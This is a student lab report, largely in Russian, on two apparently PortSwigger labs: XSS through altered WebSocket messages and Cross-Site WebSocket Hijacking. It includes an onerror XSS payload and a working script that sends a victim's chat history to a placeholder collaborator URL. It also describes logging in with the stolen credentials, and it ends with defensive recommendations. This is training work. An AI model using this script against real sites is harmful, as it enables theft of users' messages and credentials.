**Report on Laboratory Work: WebSocket Message Manipulation and Cross-Site WebSocket Hijacking**

**1. Introduction**

В этих лабораторных работах я изучила уязвимости WebSocket, методы их эксплуатации и возможные меры защиты. Основные цели включали:

* Использование XSS-уязвимостей в сообщениях WebSocket.
* Проведение атаки Cross-Site WebSocket Hijacking для кражи данных пользователя.

**2. Lab 1: Manipulating WebSocket Messages to Exploit Vulnerabilities**

**2.1. Анализ функционала чата**

* Веб-приложение содержит функцию live-чата, реализованную через WebSockets.
* Сообщения отправляются в режиме реального времени и отображаются у support-агента.

**2.2. Перехват WebSocket-сообщений**

* Я использовала Burp Proxy для мониторинга WebSocket-трафика.
* В WebSocket history отобразилось отправленное сообщение.

**2.3. Проверка HTML-кодировки**

* Я отправила сообщение с символом <.
* В истории WebSocket этот символ отобразился без HTML-кодировки.

**2.4. Внедрение вредоносного кода**

* Я перехватила WebSocket-сообщение и изменила его на следующий payload:

html

<img src=1 onerror='alert(1)'>

* В результате в браузере support-агента появилось всплывающее окно alert(1), что подтвердило XSS-уязвимость.

**2.5. Выводы и рекомендации**

* В приложении обнаружена XSS-уязвимость из-за отсутствия серверной фильтрации входных данных.
* Чтобы устранить уязвимость, я рекомендую:
  + Фильтровать потенциально опасные символы.
  + Реализовать Content Security Policy (CSP).

**3. Lab 2: Cross-Site WebSocket Hijacking**

**3.1. Анализ уязвимости**

* Чат-приложение использует WebSockets, но в handshake-запросе отсутствует CSRF-токен.
* Загрузка истории чата происходит через команду READY.

**3.2. Эксплуатация уязвимости**

* Я скопировала URL WebSocket handshake из Burp Proxy.
* Написала JavaScript-скрипт для кражи истории чатов:

html

<script>

var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');

ws.onopen = function() {

ws.send("READY");

};

ws.onmessage = function(event) {

fetch('https://YOUR-COLLABORATOR-URL', {method: 'POST', mode: 'no-cors', body: event.data});

};

</script>

* Разместила этот код на Exploit Server.
* После запуска эксплойта я получила данные чата жертвы в Burp Collaborator, включая логин и пароль.
* Использовала полученные учетные данные для входа в аккаунт жертвы.

**3.3. Выводы и рекомендации**

* Уязвимость позволяет злоумышленникам похищать сессионные данные пользователей.
* Я рекомендую следующие меры безопасности:
  + Добавить CSRF-токены в WebSocket-handshake.
  + Ограничить WebSocket-подключения по Origin (Same-Origin Policy).
  + Внедрить серверную аутентификацию перед выполнением WebSocket-команд.